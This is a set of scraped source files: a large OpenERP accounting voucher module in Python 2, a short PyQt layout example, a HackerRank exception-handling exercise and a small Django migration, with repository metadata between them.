'journal_id':fields.many2one('account.journal', 'Journal', required=True, readonly=True, states={'draft':[('readonly',False)]}), 'account_id':fields.many2one('account.account', 'Account', required=True, readonly=True, states={'draft':[('readonly',False)]}), 'line_ids':fields.one2many('account.voucher.line','voucher_id','Voucher Lines', readonly=True, states={'draft':[('readonly',False)]}), 'line_cr_ids':fields.one2many('account.voucher.line','voucher_id','Credits', domain=[('type','=','cr')], context={'default_type':'cr'}, readonly=True, states={'draft':[('readonly',False)]}), 'line_dr_ids':fields.one2many('account.voucher.line','voucher_id','Debits', domain=[('type','=','dr')], context={'default_type':'dr'}, readonly=True, states={'draft':[('readonly',False)]}), 'period_id': fields.many2one('account.period', 'Period', readonly=True, states={'draft':[('readonly',False)]}), 'narration':fields.text('Notes', readonly=True, states={'draft':[('readonly',False)]}), 'currency_id':fields.many2one('res.currency', 'Currency', readonly=True, states={'draft':[('readonly',False)]}), # 'currency_id': fields.related('journal_id','currency', type='many2one', relation='res.currency', string='Currency', store=True, readonly=True, states={'draft':[('readonly',False)]}), 'company_id': fields.many2one('res.company', 'Company', required=True, readonly=True, states={'draft':[('readonly',False)]}), 'state':fields.selection( [('draft','Draft'), ('proforma','Pro-forma'), ('cheque','En Reglement'), ('check_return','Reglement Retournée'), ('check_deposited','Reglement deposée en banque'), ('posted','Posted'), ('cancel','Cancelled') ], 'State', readonly=True, size=32, help=' * The \'Draft\' state is used when a user is encoding a new and unconfirmed Voucher. \ \n* The \'Pro-forma\' when voucher is in Pro-forma state,voucher does not have an voucher number. \ \n* The \'Posted\' state is used when user create voucher,a voucher number is generated and voucher entries are created in account \ \n* The \'Cancelled\' state is used when user cancel voucher.'), 'amount': fields.float('Total', digits_compute=dp.get_precision('Account'), required=True, readonly=True, states={'draft':[('readonly',False)]}), 'tax_amount':fields.float('Tax Amount', digits_compute=dp.get_precision('Account'), readonly=True, states={'draft':[('readonly',False)]}), 'reference': fields.char('Ref #', size=64, readonly=True, states={'draft':[('readonly',False)]}, help="Transaction reference number."), 'number': fields.char('Number', size=32, readonly=True,), 'move_id':fields.many2one('account.move', 'Account Entry'), 'move_ids': fields.related('move_id','line_id', type='one2many', relation='account.move.line', string='Journal Items', readonly=True), 'partner_id':fields.many2one('res.partner', 'Partner', change_default=1, readonly=True, states={'draft':[('readonly',False)]}), 'audit': fields.related('move_id','to_check', type='boolean', relation='account.move', string='Audit Complete ?'), 'pay_now':fields.selection([ ('pay_now','Pay Directly'), ('pay_later','Pay Later or Group Funds'), ],'Payment', select=True, readonly=True, states={'draft':[('readonly',False)]}), 'tax_id':fields.many2one('account.tax', 'Tax', readonly=True, states={'draft':[('readonly',False)]}), 'pre_line':fields.boolean('Previous Payments ?', required=False), 'date_due': fields.date('Due Date', readonly=True, select=True, states={'draft':[('readonly',False)]}), 'payment_option':fields.selection([ ('without_writeoff', 'Keep Open'), ('with_writeoff', 'Reconcile with Write-Off'), ], 'Payment Difference', required=True, readonly=True, states={'draft': [('readonly', False)]}), 'writeoff_acc_id': fields.many2one('account.account', 'Write-Off account', readonly=True, states={'draft': [('readonly', False)]}), 'comment': fields.char('Write-Off Comment', size=64, required=True, readonly=True, states={'draft': [('readonly', False)]}), 'analytic_id': fields.many2one('account.analytic.account','Write-Off Analytic Account', readonly=True, states={'draft': [('readonly', False)]}), 'writeoff_amount': fields.function(_get_writeoff_amount, method=True, string='Write-Off Amount', type='float', readonly=True), } _defaults = { 'period_id': _get_period, 'partner_id': _get_partner, 'journal_id':_get_journal, 'currency_id': _get_currency, 'reference': _get_reference, 'narration':_get_narration, 'amount': _get_amount, 'type':_get_type, 'state': 'draft', 'pay_now': 'pay_later', 'name': '', 'date': lambda *a: time.strftime('%Y-%m-%d'), 'company_id': lambda self,cr,uid,c: self.pool.get('res.company')._company_default_get(cr, uid, 'account.voucher',context=c), 'tax_id': _get_tax, 'payment_option': 'without_writeoff', 'comment': _('Write-Off'), } def compute_tax(self, cr, uid, ids, context=None): tax_pool = self.pool.get('account.tax') partner_pool = self.pool.get('res.partner') position_pool = self.pool.get('account.fiscal.position') voucher_line_pool = self.pool.get('account.voucher.line') voucher_pool = self.pool.get('account.voucher') if context is None: context = {} for voucher in voucher_pool.browse(cr, uid, ids, context=context): voucher_amount = 0.0 for line in voucher.line_ids: voucher_amount += line.untax_amount or line.amount line.amount = line.untax_amount or line.amount if line.amount>0: ref=voucher.reference else: ref='' voucher_line_pool.write(cr, uid, [line.id], {'amount':line.amount,'instrument_number':ref, 'untax_amount':line.untax_amount}) if not voucher.tax_id: self.write(cr, uid, [voucher.id], {'amount':voucher_amount, 'tax_amount':0.0}) continue tax = [tax_pool.browse(cr, uid, voucher.tax_id.id, context=context)] partner = partner_pool.browse(cr, uid, voucher.partner_id.id, context=context) or False taxes = position_pool.map_tax(cr, uid, partner and partner.property_account_position or False, tax) tax = tax_pool.browse(cr, uid, taxes, context=context) total = voucher_amount total_tax = 0.0 if not tax[0].price_include: for tax_line in tax_pool.compute_all(cr, uid, tax, voucher_amount, 1).get('taxes', []): total_tax += tax_line.get('amount', 0.0) total += total_tax else: for line in voucher.line_ids: line_total = 0.0 line_tax = 0.0 for tax_line in tax_pool.compute_all(cr, uid, tax, line.untax_amount or line.amount, 1).get('taxes', []): line_tax += tax_line.get('amount', 0.0) line_total += tax_line.get('price_unit') total_tax += line_tax untax_amount = line.untax_amount or line.amount voucher_line_pool.write(cr, uid, [line.id], {'amount':line_total, 'untax_amount':untax_amount}) self.write(cr, uid, [voucher.id], {'amount':total, 'tax_amount':total_tax}) return True def onchange_price(self, cr, uid, ids, line_ids, tax_id, partner_id=False, context=None): tax_pool = self.pool.get('account.tax') partner_pool = self.pool.get('res.partner') position_pool = self.pool.get('account.fiscal.position') res = { 'tax_amount': False, 'amount': False, } voucher_total = 0.0 voucher_line_ids = [] total = 0.0 total_tax = 0.0 for line in line_ids: line_amount = 0.0 line_amount = line[2] and line[2].get('amount',0.0) or 0.0 voucher_line_ids += [line[1]] voucher_total += line_amount total = voucher_total total_tax = 0.0 if tax_id: tax = [tax_pool.browse(cr, uid, tax_id, context=context)] if partner_id: partner = partner_pool.browse(cr, uid, partner_id, context=context) or False taxes = position_pool.map_tax(cr, uid, partner and partner.property_account_position or False, tax) tax = tax_pool.browse(cr, uid, taxes, context=context) if not tax[0].price_include: for tax_line in tax_pool.compute_all(cr, uid, tax, voucher_total, 1).get('taxes', []): total_tax += tax_line.get('amount') total += total_tax res.update({ 'amount':total or voucher_total, 'tax_amount':total_tax }) return { 'value':res } def onchange_term_id(self, cr, uid, ids, term_id, amount): term_pool = self.pool.get('account.payment.term') terms = False due_date = False default = {'date_due':False} if term_id and amount: terms = term_pool.compute(cr, uid, term_id, amount) if terms: due_date = terms[-1][0] default.update({ 'date_due':due_date }) return {'value':default} def onchange_journal_voucher(self, cr, uid, ids, line_ids=False, tax_id=False, price=0.0, partner_id=False, journal_id=False, ttype=False, context=None): """price Returns a dict that contains new values and context @param partner_id: latest value from user input for field partner_id @param args: other arguments @param context: context arguments, like lang, time zone @return: Returns a dict which contains new values, and context """ default = { 'value':{}, } if not partner_id or not journal_id: return default partner_pool = self.pool.get('res.partner') journal_pool = self.pool.get('account.journal') journal = journal_pool.browse(cr, uid, journal_id, context=context) partner = partner_pool.browse(cr, uid, partner_id, context=context) account_id = False tr_type = False if journal.type in ('sale','sale_refund'): account_id = partner.property_account_receivable.id tr_type = 'sale' elif journal.type in ('purchase', 'purchase_refund','expense'): account_id = partner.property_account_payable.id tr_type = 'purchase' else: account_id = journal.default_credit_account_id.id or journal.default_debit_account_id.id tr_type = 'receipt' default['value']['account_id'] = account_id default['value']['type'] = ttype or tr_type vals = self.onchange_journal(cr, uid, ids, journal_id, line_ids, tax_id, partner_id, context) default['value'].update(vals.get('value')) return default def onchange_partner_id(self, cr, uid, ids, partner_id, journal_id, price, currency_id, ttype, date, context=None): """price Returns a dict that contains new values and context @param partner_id: latest value from user input for field partner_id @param args: other arguments @param context: context arguments, like lang, time zone @return: Returns a dict which contains new values, and context """ print telephone if context is None: context = {} if not journal_id: return {} context_multi_currency = context.copy() if date: context_multi_currency.update({'date': date}) line_pool = self.pool.get('account.voucher.line') line_ids = ids and line_pool.search(cr, uid, [('voucher_id', '=', ids[0])]) or False if line_ids: line_pool.unlink(cr, uid, line_ids) currency_pool = self.pool.get('res.currency') move_line_pool = self.pool.get('account.move.line') partner_pool = self.pool.get('res.partner') journal_pool = self.pool.get('account.journal') vals = self.onchange_journal(cr, uid, ids, journal_id, [], False, partner_id, context) vals = vals.get('value') currency_id = vals.get('currency_id', currency_id) default = { 'value':{'line_ids':[], 'line_dr_ids':[], 'line_cr_ids':[], 'pre_line': False, 'currency_id':currency_id}, } if not partner_id: return default if not partner_id and ids: line_ids = line_pool.search(cr, uid, [('voucher_id', '=', ids[0])]) if line_ids: line_pool.unlink(cr, uid, line_ids) return default journal = journal_pool.browse(cr, uid, journal_id, context=context) partner = partner_pool.browse(cr, uid, partner_id, context=context) account_id = False if journal.type in ('sale','sale_refund'): account_id = partner.property_account_receivable.id elif journal.type in ('purchase', 'purchase_refund','expense'): account_id = partner.property_account_payable.id else: account_id = journal.default_credit_account_id.id or journal.default_debit_account_id.id default['value']['account_id'] = account_id if journal.type not in ('cash', 'bank'): return default total_credit = 0.0 total_debit = 0.0 account_type = 'receivable' if ttype == 'payment': account_type = 'payable' total_debit = price or 0.0 else: total_credit = price or 0.0 account_type = 'receivable' if not context.get('move_line_ids', False): ids = move_line_pool.search(cr, uid, [('state','=','valid'), ('account_id.type', '=', account_type), ('reconcile_id', '=', False), ('partner_id', '=', partner_id)], context=context) else: ids = context['move_line_ids'] ids.reverse() print 'context',context moves = move_line_pool.browse(cr, uid, ids, context=context) company_currency = journal.company_id.currency_id.id if company_currency != currency_id and ttype == 'payment': total_debit = currency_pool.compute(cr, uid, currency_id, company_currency, total_debit, context=context_multi_currency) elif company_currency != currency_id and ttype == 'receipt': total_credit = currency_pool.compute(cr, uid, currency_id, company_currency, total_credit, context=context_multi_currency) for line in moves: if line.credit and line.reconcile_partial_id and ttype == 'receipt': continue if line.debit and line.reconcile_partial_id and ttype == 'payment': continue total_credit += line.credit or 0.0 total_debit += line.debit or 0.0 for line in moves: #added # if line.credit and line.reconcile_partial_id and ttype == 'receipt': # continue # if line.debit and line.reconcile_partial_id and ttype == 'payment': # continue #added original_amount = line.credit or line.debit or 0.0 amount_unreconciled = currency_pool.compute(cr, uid, line.currency_id and line.currency_id.id or company_currency, currency_id, abs(line.amount_residual_currency), context=context_multi_currency) print line.type,line.name,line.original_amount,line.amount_unreconciled #working@abc if line.credit and line.reconcile_partial_id and ttype == 'receipt': if amount_unreconciled>original_amount: continue if line.debit and line.reconcile_partial_id and ttype == 'receipt': if amount_unreconciled>original_amount: continue if line.debit and line.reconcile_partial_id and ttype == 'payment': if amount_unreconciled<original_amount: continue if line.credit and line.reconcile_partial_id and ttype == 'payment': if amount_unreconciled<original_amount: continue #working@abc rs = { 'name':line.move_id.name, 'type': line.credit and 'dr' or 'cr', 'move_line_id':line.id, 'account_id':line.account_id.id, 'amount_original': currency_pool.compute(cr, uid, line.currency_id and line.currency_id.id or company_currency, currency_id, line.currency_id and abs(line.amount_currency) or original_amount, context=context_multi_currency), 'date_original':line.date, 'date_due':line.date_maturity, 'amount_unreconciled': amount_unreconciled, } if line.credit: amount = min(amount_unreconciled, currency_pool.compute(cr, uid, company_currency, currency_id, abs(total_debit), context=context_multi_currency)) rs['amount'] = amount total_debit -= amount else: amount = min(amount_unreconciled, currency_pool.compute(cr, uid, company_currency, currency_id, abs(total_credit), context=context_multi_currency)) rs['amount'] = amount total_credit -= amount default['value']['line_ids'].append(rs) if rs['type'] == 'cr': default['value']['line_cr_ids'].append(rs) else: default['value']['line_dr_ids'].append(rs) if ttype == 'payment' and len(default['value']['line_cr_ids']) > 0: default['value']['pre_line'] = 1 elif ttype == 'receipt' and len(default['value']['line_dr_ids']) > 0: default['value']['pre_line'] = 1 default['value']['writeoff_amount'] = self._compute_writeoff_amount(cr, uid, default['value']['line_dr_ids'], default['value']['line_cr_ids'], price) return default def onchange_date(self, cr, uid, ids, partner_id, journal_id, price, currency_id,ttype,date,context=None): """ @param date: latest value from user input for field date @param args: other arguments @param context: context arguments, like lang, time zone @return: Returns a dict which contains new values, and context """ period_pool = self.pool.get('account.period') res = self.onchange_partner_id(cr, uid, ids, partner_id, journal_id, price, currency_id, ttype,date, context=context) pids = period_pool.search(cr, uid, [('date_start', '<=', date), ('date_stop', '>=', date)]) if pids: if not 'value' in res: res['value'] = {} res['value'].update({'period_id':pids[0]}) return res def onchange_journal(self, cr, uid, ids, journal_id, line_ids, tax_id, partner_id, context=None): if not journal_id: return False journal_pool = self.pool.get('account.journal') journal = journal_pool.browse(cr, uid, journal_id, context=context) account_id = journal.default_credit_account_id or journal.default_debit_account_id tax_id = False if account_id and account_id.tax_ids: tax_id = account_id.tax_ids[0].id vals = self.onchange_price(cr, uid, ids, line_ids, tax_id, partner_id, context) vals['value'].update({'tax_id':tax_id}) currency_id = journal.company_id.currency_id.id if journal.currency: currency_id = journal.currency.id vals['value'].update({'currency_id':currency_id}) return vals def proforma_voucher(self, cr, uid, ids, context=None): self.action_move_line_create(cr, uid, ids, context=context) return True def action_cancel_draft(self, cr, uid, ids, context=None): wf_service = netsvc.LocalService("workflow") for voucher_id in ids: wf_service.trg_create(uid, 'account.voucher', voucher_id, cr) self.write(cr, uid, ids, {'state':'draft'}) return True def cancel_voucher(self, cr, uid, ids, context=None): reconcile_pool = self.pool.get('account.move.reconcile') move_pool = self.pool.get('account.move') for voucher in self.browse(cr, uid, ids, context=context): recs = [] for line in voucher.move_ids: if line.reconcile_id: recs += [line.reconcile_id.id] if line.reconcile_partial_id: recs += [line.reconcile_partial_id.id] reconcile_pool.unlink(cr, uid, recs) if voucher.move_id: move_pool.button_cancel(cr, uid, [voucher.move_id.id]) move_pool.unlink(cr, uid, [voucher.move_id.id]) res = { 'state':'cancel', 'move_id':False, } self.write(cr, uid, ids, res) return True def unlink(self, cr, uid, ids, context=None): for t in self.read(cr, uid, ids, ['state'], context=context): if t['state'] not in ('draft', 'cancel'): raise osv.except_osv(_('Invalid action !'), _('Cannot delete Voucher(s) which are already opened or paid !')) return super(account_voucher, self).unlink(cr, uid, ids, context=context) # TODO: may be we can remove this method if not used anyware def onchange_payment(self, cr, uid, ids, pay_now, journal_id, partner_id, ttype='sale'): res = {} if not partner_id: return res res = {'account_id':False} partner_pool = self.pool.get('res.partner') journal_pool = self.pool.get('account.journal') if pay_now == 'pay_later': partner = partner_pool.browse(cr, uid, partner_id) journal = journal_pool.browse(cr, uid, journal_id) if journal.type in ('sale','sale_refund'): account_id = partner.property_account_receivable.id elif journal.type in ('purchase', 'purchase_refund','expense'): account_id = partner.property_account_payable.id else: account_id = journal.default_credit_account_id.id or journal.default_debit_account_id.id res['account_id'] = account_id return {'value':res} def action_move_line_create(self, cr, uid, ids, context=None): def _get_payment_term_lines(term_id, amount): term_pool = self.pool.get('account.payment.term') if term_id and amount: terms = term_pool.compute(cr, uid, term_id, amount) return terms return False if context is None: context = {} move_pool = self.pool.get('account.move') move_line_pool = self.pool.get('account.move.line') currency_pool = self.pool.get('res.currency') tax_obj = self.pool.get('account.tax') seq_obj = self.pool.get('ir.sequence') for inv in self.browse(cr, uid, ids, context=context): if inv.move_id: continue context_multi_currency = context.copy() context_multi_currency.update({'date': inv.date}) if inv.number: name = inv.number elif inv.journal_id.sequence_id: name = seq_obj.get_id(cr, uid, inv.journal_id.sequence_id.id) else: raise osv.except_osv(_('Error !'), _('Please define a sequence on the journal !')) if not inv.reference: ref = name.replace('/','') else: ref = inv.reference move = { 'name': name, 'journal_id': inv.journal_id.id, 'narration': inv.narration, 'date': inv.date, 'ref': ref, 'period_id': inv.period_id and inv.period_id.id or False } move_id = move_pool.create(cr, uid, move) #create the first line manually company_currency = inv.journal_id.company_id.currency_id.id current_currency = inv.currency_id.id debit = 0.0 credit = 0.0 # TODO: is there any other alternative then the voucher type ?? # -for sale, purchase we have but for the payment and receipt we do not have as based on the bank/cash journal we can not know its payment or receipt if inv.type in ('purchase', 'payment'): credit = currency_pool.compute(cr, uid, current_currency, company_currency, inv.amount, context=context_multi_currency) elif inv.type in ('sale', 'receipt'): debit = currency_pool.compute(cr, uid, current_currency, company_currency, inv.amount, context=context_multi_currency) if debit < 0: credit = -debit debit = 0.0 if credit < 0: debit = -credit credit = 0.0 sign = debit - credit < 0 and -1 or 1 #create the first line of the voucher move_line = { 'name': inv.name or '/', 'debit': debit, 'credit': credit, 'account_id': inv.account_id.id, 'move_id': move_id, 'journal_id': inv.journal_id.id, 'period_id': inv.period_id.id, 'partner_id': inv.partner_id.id, 'currency_id': company_currency <> current_currency and current_currency or False, 'amount_currency': company_currency <> current_currency and sign * inv.amount or 0.0, 'date': inv.date, 'date_maturity': inv.date_due } move_line_pool.create(cr, uid, move_line) rec_list_ids = [] line_total = debit - credit if inv.type == 'sale': line_total = line_total - currency_pool.compute(cr, uid, inv.currency_id.id, company_currency, inv.tax_amount, context=context_multi_currency) elif inv.type == 'purchase': line_total = line_total + currency_pool.compute(cr, uid, inv.currency_id.id, company_currency, inv.tax_amount, context=context_multi_currency) for line in inv.line_ids: #create one move line per voucher line where amount is not 0.0 if not line.amount: continue #we check if the voucher line is fully paid or not and create a move line to balance the payment and initial invoice if needed if line.amount == line.amount_unreconciled: amount = line.move_line_id.amount_residual #residual amount in company currency else: amount = currency_pool.compute(cr, uid, current_currency, company_currency, line.untax_amount or line.amount, context=context_multi_currency) move_line = { 'journal_id': inv.journal_id.id, 'period_id': inv.period_id.id, 'name': line.name and line.name or '/', 'account_id': line.account_id.id, 'move_id': move_id, 'partner_id': inv.partner_id.id, 'currency_id': company_currency <> current_currency and current_currency or False, 'analytic_account_id': line.account_analytic_id and line.account_analytic_id.id or False, 'quantity': 1, 'credit': 0.0, 'debit': 0.0, 'date': inv.date } if amount < 0: amount = -amount if line.type == 'dr': line.type = 'cr' else: line.type = 'dr' if (line.type=='dr'): line_total += amount move_line['debit'] = amount else: line_total -= amount move_line['credit'] = amount if inv.tax_id and inv.type in ('sale', 'purchase'): move_line.update({ 'account_tax_id': inv.tax_id.id, }) if move_line.get('account_tax_id', False): tax_data = tax_obj.browse(cr, uid, [move_line['account_tax_id']], context=context)[0] if not (tax_data.base_code_id and tax_data.tax_code_id): raise osv.except_osv(_('No Account Base Code and Account Tax Code!'),_("You have to configure account base code and account tax code on the '%s' tax!") % (tax_data.name)) sign = (move_line['debit'] - move_line['credit']) < 0 and -1 or 1 move_line['amount_currency'] = company_currency <> current_currency and sign * line.amount or 0.0 voucher_line = move_line_pool.create(cr, uid, move_line) if line.move_line_id.id: rec_ids = [voucher_line, line.move_line_id.id] rec_list_ids.append(rec_ids) if not currency_pool.is_zero(cr, uid, inv.currency_id, line_total): diff = line_total account_id = False if inv.payment_option == 'with_writeoff': account_id = inv.writeoff_acc_id.id elif inv.type in ('sale', 'receipt'): account_id = inv.partner_id.property_account_receivable.id else: account_id = inv.partner_id.property_account_payable.id move_line = { 'name': name, 'account_id': account_id, 'move_id': move_id, 'partner_id': inv.partner_id.id, 'date': inv.date, 'credit': diff > 0 and diff or 0.0, 'debit': diff < 0 and -diff or 0.0, #'amount_currency': company_currency <> current_currency and currency_pool.compute(cr, uid, company_currency, current_currency, diff * -1, context=context_multi_currency) or 0.0, #'currency_id': company_currency <> current_currency and current_currency or False, } move_line_pool.create(cr, uid, move_line) self.write(cr, uid, [inv.id], { 'move_id': move_id, 'state': 'posted', 'number': name, }) move_pool.post(cr, uid, [move_id], context={}) for rec_ids in rec_list_ids: if len(rec_ids) >= 2: move_line_pool.reconcile_partial(cr, uid, rec_ids) return True def copy(self, cr, uid, id, default={}, context=None): default.update({ 'state': 'draft', 'number': False, 'move_id': False, 'line_cr_ids': False, 'line_dr_ids': False, 'reference': False }) if 'date' not in default: default['date'] = time.strftime('%Y-%m-%d') return super(account_voucher, self).copy(cr, uid, id, default, context) account_voucher() class account_voucher_line(osv.osv): _name = 'account.voucher.line' _description = 'Voucher Lines' _order = "move_line_id" def _compute_balance(self, cr, uid, ids, name, args, context=None): currency_pool = self.pool.get('res.currency') rs_data = {} for line in self.browse(cr, uid, ids, context=context): ctx = context.copy() ctx.update({'date': line.voucher_id.date}) res = {} company_currency = line.voucher_id.journal_id.company_id.currency_id.id voucher_currency = line.voucher_id.currency_id.id move_line = line.move_line_id or False if not move_line: res['amount_original'] = 0.0 res['amount_unreconciled'] = 0.0 elif move_line.currency_id: res['amount_original'] = currency_pool.compute(cr, uid, move_line.currency_id.id, voucher_currency, move_line.amount_currency, context=ctx) elif move_line and move_line.credit > 0: res['amount_original'] = currency_pool.compute(cr, uid, company_currency, voucher_currency, move_line.credit, context=ctx) else: res['amount_original'] = currency_pool.compute(cr, uid, company_currency, voucher_currency, move_line.debit, context=ctx) if move_line: res['amount_unreconciled'] = currency_pool.compute(cr, uid, move_line.currency_id and move_line.currency_id.id or company_currency, voucher_currency, abs(move_line.amount_residual_currency), context=ctx) rs_data[line.id] = res return rs_data _columns = { 'voucher_id':fields.many2one('account.voucher', 'Voucher', required=1, ondelete='cascade'), 'name':fields.char('Description', size=256), 'account_id':fields.many2one('account.account','Account', required=True), 'partner_id':fields.related('voucher_id', 'partner_id', type='many2one', relation='res.partner', string='Partner'), 'untax_amount':fields.float('Untax Amount'), 'amount':fields.float('Amount', digits_compute=dp.get_precision('Account')), 'type':fields.selection([('dr','Debit'),('cr','Credit')], 'Cr/Dr'), 'account_analytic_id': fields.many2one('account.analytic.account', 'Analytic Account'), 'move_line_id': fields.many2one('account.move.line', 'Journal Item'), 'date_original': fields.related('move_line_id','date', type='date', relation='account.move.line', string='Date', readonly=1), 'date_due': fields.related('move_line_id','date_maturity', type='date', relation='account.move.line', string='Due Date', readonly=1), 'amount_original': fields.function(_compute_balance, method=True, multi='dc', type='float', string='Original Amount', store=True), 'amount_unreconciled': fields.function(_compute_balance, method=True, multi='dc', type='float', string='Open Balance', store=True), 'company_id': fields.related('voucher_id','company_id', relation='res.company', type='many2one', string='Company', store=True, readonly=True), } _defaults = { 'name': '' } def onchange_move_line_id(self, cr, user, ids, move_line_id,reference,amount,context=None): """ Returns a dict that contains new values and context @param move_line_id: latest value from user input for field move_line_id @param args: other arguments @param context: context arguments, like lang, time zone @return: Returns a dict which contains new values, and context """ res = {} instrument=reference move_line_pool = self.pool.get('account.move.line') if amount: instr_num=instrument else: instr_num= False if move_line_id: move_line = move_line_pool.browse(cr, user, move_line_id, context=context) if move_line.credit: ttype = 'dr' else: ttype = 'cr' account_id = move_line.account_id.id res.update({ 'account_id':account_id, 'type': ttype, 'instrument_number':instr_num }) return { 'value':res, } def default_get(self, cr, user, fields_list, context=None): """ Returns default values for fields @param fields_list: list of fields, for which default values are required to be read @param context: context arguments, like lang, time zone @return: Returns a dict that contains default values for fields """ if context is None: context = {} journal_id = context.get('journal_id', False) partner_id = context.get('partner_id', False) journal_pool = self.pool.get('account.journal') partner_pool = self.pool.get('res.partner') values = super(account_voucher_line, self).default_get(cr, user, fields_list, context=context) if (not journal_id) or ('account_id' not in fields_list): return values journal = journal_pool.browse(cr, user, journal_id, context=context) account_id = False ttype = 'cr' if journal.type in ('sale', 'sale_refund'): account_id = journal.default_credit_account_id and journal.default_credit_account_id.id or False ttype = 'cr' elif journal.type in ('purchase', 'expense', 'purchase_refund'): account_id = journal.default_debit_account_id and journal.default_debit_account_id.id or False ttype = 'dr' elif partner_id: partner = partner_pool.browse(cr, user, partner_id, context=context) if context.get('type') == 'payment': ttype = 'dr' account_id = partner.property_account_payable.id elif context.get('type') == 'receipt': account_id = partner.property_account_receivable.id values.update({ 'account_id':account_id, 'type':ttype, }) return values account_voucher_line() class account_bank_statement(osv.osv): _inherit = 'account.bank.statement' def button_cancel(self, cr, uid, ids, context=None): voucher_obj = self.pool.get('account.voucher') for st in self.browse(cr, uid, ids, context=context): voucher_ids = [] for line in st.line_ids: if line.voucher_id: voucher_ids.append(line.voucher_id.id) voucher_obj.cancel_voucher(cr, uid, voucher_ids, context) return super(account_bank_statement, self).button_cancel(cr, uid, ids, context=context) def create_move_from_st_line(self, cr, uid, st_line_id, company_currency_id, next_number, context=None): # print '<<<<<<<<<<<<<<<<<<<<<<<<<<<Creatin moveline from statement' voucher_obj = self.pool.get('account.voucher') wf_service = netsvc.LocalService("workflow") move_line_obj = self.pool.get('account.move.line') bank_st_line_obj = self.pool.get('account.bank.statement.line') st_line = bank_st_line_obj.browse(cr, uid, st_line_id, context=context) if st_line.voucher_id: voucher_obj.write(cr, uid, [st_line.voucher_id.id], {'number': next_number}, context=context) if st_line.voucher_id.state == 'cancel': voucher_obj.action_cancel_draft(cr, uid, [st_line.voucher_id.id], context=context) wf_service.trg_validate(uid, 'account.voucher', st_line.voucher_id.id, 'proforma_voucher', cr) v = voucher_obj.browse(cr, uid, st_line.voucher_id.id, context=context) bank_st_line_obj.write(cr, uid, [st_line_id], { 'move_ids': [(4, v.move_id.id, False)] }) # return move_line_obj.write(cr, uid, [x.id for x in v.move_ids], {'statement_id': st_line.statement_id.id}, context=context) print '<<<<<<<<<<<<<<<<<<<<<<<<<<<Created moveline # from statement' return super(account_bank_statement, self).create_move_from_st_line(cr, uid, st_line.id, company_currency_id, next_number, context=context) account_bank_statement() class account_bank_statement_line(osv.osv): _inherit = 'account.bank.statement.line' def _amount_reconciled(self, cursor, user, ids, name, args, context=None): if not ids: return {} res = {} # company_currency_id = False for line in self.browse(cursor, user, ids, context=context): # if not company_currency_id: # company_currency_id = line.company_id.id if line.voucher_id: res[line.id] = line.voucher_id.amount# # res_currency_obj.compute(cursor, user, company_currency_id, line.statement_id.currency.id, line.voucher_id.amount, context=context) else: res[line.id] = 0.0 return res def _check_amount(self, cr, uid, ids, context=None): for obj in self.browse(cr, uid, ids, context=context): if obj.voucher_id: if not (abs(obj.amount) == obj.voucher_id.amount): return False return True _constraints = [(_check_amount, 'The amount of the voucher must be the same amount as the one on the statement line', ['amount']),] _columns = { 'amount_reconciled': fields.function(_amount_reconciled,string='Amount reconciled', method=True, type='float'), 'voucher_id': fields.many2one('account.voucher', 'Payment'), } def unlink(self, cr, uid, ids, context=None): voucher_obj = self.pool.get('account.voucher') statement_line = self.browse(cr, uid, ids, context=context) unlink_ids = [] for st_line in statement_line: if st_line.voucher_id: unlink_ids.append(st_line.voucher_id.id) voucher_obj.unlink(cr, uid, unlink_ids, context=context) return super(account_bank_statement_line, self).unlink(cr, uid, ids, context=context) account_bank_statement_line()
47dd5781de4069de4d2e442c24cd2979fc5a0aac
51aa2894c317f60726fe9a778999eb7851b6be3e
/140_gui/pyqt_pyside/examples/PyQt_PySide_book/003_Placing several components in the box/001_Horizontal and vertical alignment/058_insertStretch.py
768928415d0c882a97ec7dad9040e389f828a0fe
[]
no_license
pranaymate/Python_Topics
dd7b288ab0f5bbee71d57080179d6481aae17304
33d29e0a5bf4cde104f9c7f0693cf9897f3f2101
refs/heads/master
2022-04-25T19:04:31.337737
2020-04-26T00:36:03
2020-04-26T00:36:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
471
py
# -*- coding: utf-8 -*- from PyQt4 import QtGui import sys app = QtGui.QApplication(sys.argv) window = QtGui.QWidget() window.setWindowTitle("insertStretch") window.resize(350, 50) button1 = QtGui.QPushButton("1") button2 = QtGui.QPushButton("2") button3 = QtGui.QPushButton("3") hbox = QtGui.QHBoxLayout() hbox.addWidget(button1) hbox.addWidget(button2) hbox.addWidget(button3) hbox.insertStretch(2, stretch=1) window.setLayout(hbox) window.show() sys.exit(app.exec_())
63079e8da1dd06e4fdf0eb83766653ee242d8090
bc5484a8173bd937c56fb9a4c0dc6a54a5bb4d62
/Exceptions.py
8c72314af3f7b8a37d33bf120bc83e40ad4f2567
[]
no_license
PiyushChandra17/HackerRank_Python
4686cc872ac622d1ec7b8206cca0efccdc15f235
443fa8484c81a56d652d546fa7cc4a0ba24b8185
refs/heads/main
2023-01-24T18:45:55.673808
2020-12-09T00:02:16
2020-12-09T00:02:16
319,788,277
0
0
null
null
null
null
UTF-8
Python
false
false
163
py
N = int(input()) for _ in range(N): try: a,b = map(int,input().split()) print(a//b) except Exception as e: print('Error Code:',e)
f1c921a60c4fb3ad157e9299ffd20047aecfaa28
94e964496acd225e1a04060a9bc9f639e6cff99c
/app/invitations/migrations/0004_auto_20201102_1100.py
2fe6602b722d46813c07a701de91615cc619b763
[]
no_license
indigocodeit/conflictcartographer
64b6ab2c991cd3ad020c4832cdb26974d342b564
ab19b4559c1e016ef485bfa1a01df17fb15679ce
refs/heads/master
2023-03-05T00:44:03.805241
2021-02-19T08:50:23
2021-02-19T08:50:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
# Generated by Django 3.1.2 on 2020-11-02 11:00 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('invitations', '0003_auto_20201102_0936'), ] operations = [ migrations.AlterField( model_name='invitation', name='mailed', field=models.BooleanField(default=False), ), ]
93364714c8458b6b06d05de577f9b868ef1c277f
fe4f4ae5583cdc71be78094f639df15e27e77e0c
/saas/extras.py
e3470ed950539c2203c05c299fd2b0dc404dc7c7
[ "BSD-2-Clause" ]
permissive
petrios888/djaodjin-saas
6bf803673db55d6a8262b440cd705ed1d4e3bbc7
6bedad11bc37d3884addb67c980b1f764803ada7
refs/heads/master
2020-04-04T20:32:54.592402
2018-09-30T22:53:29
2018-09-30T22:53:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,117
py
